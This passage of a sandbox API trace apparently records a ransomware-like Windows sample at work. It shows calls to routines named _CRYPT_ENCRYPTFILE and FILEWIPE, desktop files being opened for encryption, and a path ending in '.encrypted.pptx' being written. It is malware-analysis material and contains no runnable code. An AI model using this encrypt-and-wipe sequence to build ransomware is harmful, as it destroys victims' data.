lpMsg=0xe8f3dfe670) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.854] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.854] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.854] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.854] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.854] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.854] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.854] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.854] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.857] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.857] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0021.858] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.858] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.866] CharLowerBuffW (in: lpsz="byte[51691]", cchLength=0xb | out: lpsz="byte[51691]") returned 0xb [0021.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.867] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0021.867] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.867] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0021.867] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.867] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.867] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0021.867] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.867] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.867] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.868] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.868] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.868] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0021.868] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.869] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.869] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.869] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.869] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.873] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.873] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.873] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.873] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.873] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.873] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.873] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.873] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.873] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0021.873] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=183) returned 1 [0021.873] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.873] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0021.873] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0021.873] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xb7, lpOverlapped=0x0) returned 1 [0021.873] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0021.873] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.873] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=183) returned 1 [0021.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\n", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0021.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\n", cchWideChar=56, lpMultiByteStr=0xe8f404be50, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\n", lpUsedDefaultChar=0x0) returned 56 [0021.874] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051310*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051310*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x37, lpOverlapped=0x0) returned 1 [0021.874] CloseHandle (hObject=0x188) returned 1 [0021.876] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.876] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.876] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.876] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.876] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.876] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0021.876] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.877] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0021.877] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0021.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0021.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178900, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0021.878] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0021.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0021.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0021.878] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0021.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.flv", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0021.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.flv", cchWideChar=55, lpMultiByteStr=0xe8f404bdd0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.flv", lpUsedDefaultChar=0x0) returned 55 [0021.879] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.flv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\otnowkvparpdclpl.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0021.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0021.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=55, lpWideCharStr=0xe8f40662f0, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.flv") returned 55 [0021.879] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0021.880] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.880] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.880] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0021.880] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0021.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0021.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41787e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0021.880] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0021.881] CloseHandle (hObject=0x188) returned 1 [0021.881] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0021.881] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.881] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0021.881] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.881] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0021.881] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.881] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0021.882] PeekMessageW 